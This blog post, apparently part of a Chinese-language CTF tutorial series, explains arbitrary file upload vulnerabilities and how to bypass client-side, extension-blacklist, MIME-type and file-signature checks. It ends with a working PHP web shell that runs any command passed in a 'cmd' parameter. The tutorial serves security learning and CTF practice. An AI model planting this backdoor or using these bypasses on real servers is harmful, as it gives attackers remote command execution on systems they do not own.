iT邦幫忙

2023 iThome 鐵人賽

DAY 7
0

任意文件上傳漏洞

今天要介紹的就是任意文件上傳漏洞:這是一種在CTF比賽中頗為常見的牽涉的安全漏洞之一。如同其名,這種漏洞能讓我們上載任意文件到網頁的伺服器中,包括各種惡意代碼,以找出隱藏的敏感資訊以及在伺服器上遠程執行指令碼等。

漏洞基礎及其本質

這種漏洞一般是在具有文件上載功能的網頁上產生。如果伺服器並未嚴格地驗證並限制使用者上載的文件類型,就很可能能夠利用各種方法繞過限制,上載惡意指令碼至伺服器上。

漏洞實現方式

漏洞實現方式一般分成兩類:繞過客戶端的文件驗證,以及 繞過伺服器端的文件驗證。我們可以透過瀏覽器的 Dev. Tools 或者任何 封包擷取工具來看看文件是否有被發送至伺服器上;如果完全沒有被發送至伺服器,那就是客戶端的文件驗證失敗;如果被發送至伺服器後不成功,那很可能就是伺服器端的文件驗證失敗了。

A. 繞過客戶端文件驗證

要繞過客戶端的文件驗證非常容易。大多數情況下,我們可以把惡意指令碼的副檔名直接改成允許上載的副檔名,按照實際情況可能是.png,.pdf等等看似無害的文件,然後透過封包擷取,找到上載的HTTP 請求Request直接在請求中把檔案名改成原本的副檔名然後發送
以下是一個HTTP的請求例子。我們把指令碼檔案改成 .mp3 上載,找到以下請求後,我們便可以把filename="file.mp3"的部分改回原本的附檔名再次發送。

POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=---------------------------7e137b2e102a8

-----------------------------7e137b2e102a8
Content-Disposition: form-data; name="file"; filename="file.mp3"
Content-Type: text/plain

<Contents of the file>

-----------------------------7e137b2e102a8--

B. 繞過伺服器端文件驗證

這就比較困難了。對於伺服器端的文件驗證,我們需要先大概找出伺服器端所設置的上載限制。

其中一種限制方式便是黑名單制。對於黑名單制,例如是不允許.php檔案上載的,在比較不嚴謹的伺服器上我們可以嘗試直接更改檔案名大小寫file.pHP、前後加上空格file.php 等簡單粗暴的方法來繞過驗證;有時候,我們需要利用到某些程式碼種類默認支援的其他副檔名,例如PHP就支援.phtml,.phps,.pht,.php2,.php3,etc.等等許多的其他副檔名。我們可以嘗試一下這些副檔名是否也被黑名單了。

其他的還有在副檔名加上0x00(URL編碼的話就是%00)字符(ps.檔案名包含這個字符的話部份情況字符以後的副檔名部分會被消除掉)等等許多不同的方法。

有些伺服器還會以MIME來驗證上載的文件,指的就是驗證HTTP Request中的Content-Type是否被允許的類型。要繞過這種驗證就如同上述A部分所提的類似,不過這次要將Content-Type改為被允許的類型再發送。

還有一種就是對文件頭標誌File signature進行驗證。文件頭標誌是一個用以標識文件類型的一串無意義字符,放在文件的開始或者特定地方來讓其他程序判定文件的種類。常見的文件頭標誌包括(以16進制表示):

JPEG: FF D8 FF E0 
PNG: 89 50 4E 47 0D 0A 1A 0A
GIF: 47 49 46 38 37 61 
PDF: 25 50 44 46 2D 
ZIP: 50 4B 03 04
Microsoft-Word-Document DOC DOCX: D0 CF 11 E0 A1 B1 1A E1
Microsoft-Excel-Spreadsheet XLS XLSX: D0 CF 11 E0 A1 B1 1A E1 
Adobe Photoshop Image PSD: 38 42 50 53
MP3: 49 44 33
MPEG: 00 00 01 BA 
WAV: 52 49 46 46 

等等。
那麼要繞過文件頭標誌認證其實只需要在惡意指令碼的檔案相應位置(一般是開頭)加上允許上載的檔案類型的文件頭標誌就可以了。

C. [進階]上傳到伺服器端後驗證

有一部分伺服器會在文件上載到伺服器之後再進行驗證。較為主流的繞過方式包括:競爭上傳(或稱 條件競爭)以及php-gd渲染繞過。然而,相關技術都較為進階,要說的話篇幅會大量增長,也與本系列【CTF入門】的本意有點不相同,以下提供兩條寫的不錯的連結供大家參考,如果有興趣再去看看吧!

條件競爭上傳:
騰訊雲開發者社區 專欄>Y5neKO博客>《Web安全系列》- 文件上傳- 條件競爭上傳
https://cloud.tencent.com/developer/article/1933685 (簡中)

php-gd渲染繞過:
php GD库jpg注入- 12138's Blog
https://144.one/php-gdku-jpgzhu-ru.html (簡中)

能上載檔案,那又有甚麼用?

最常見的情況下,我們會利用這種漏洞上載一個PHP檔案來實現遠程代碼執行的目的。例如我們上載以下的指令碼:

<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->

<?php

if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}

?>

<!--    http://michaeldaw.org   2006    -->

這個就是最基本的後門程式Backdoor(來源 GitHub),允許我們在伺服器的網址加上parameter[參數]?cmd=XXXX就能執行XXXX的系統Shell指令碼。我們有很大機會能透過執行指令碼找到Flag的儲存位置讀取它來獲取Flag。


以上,希望你對於此漏洞有了更深的理解,能夠助你在CTF以至資安有所成長吧!


上一篇
Day 06 | [CTF.WEB] XSS 跨網站指令碼
下一篇
Day 08 | [CTF.WEB] PHP代碼/命令注入漏洞
系列文
30日奪旗之旅 - 一個月不間斷研究CTF9
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言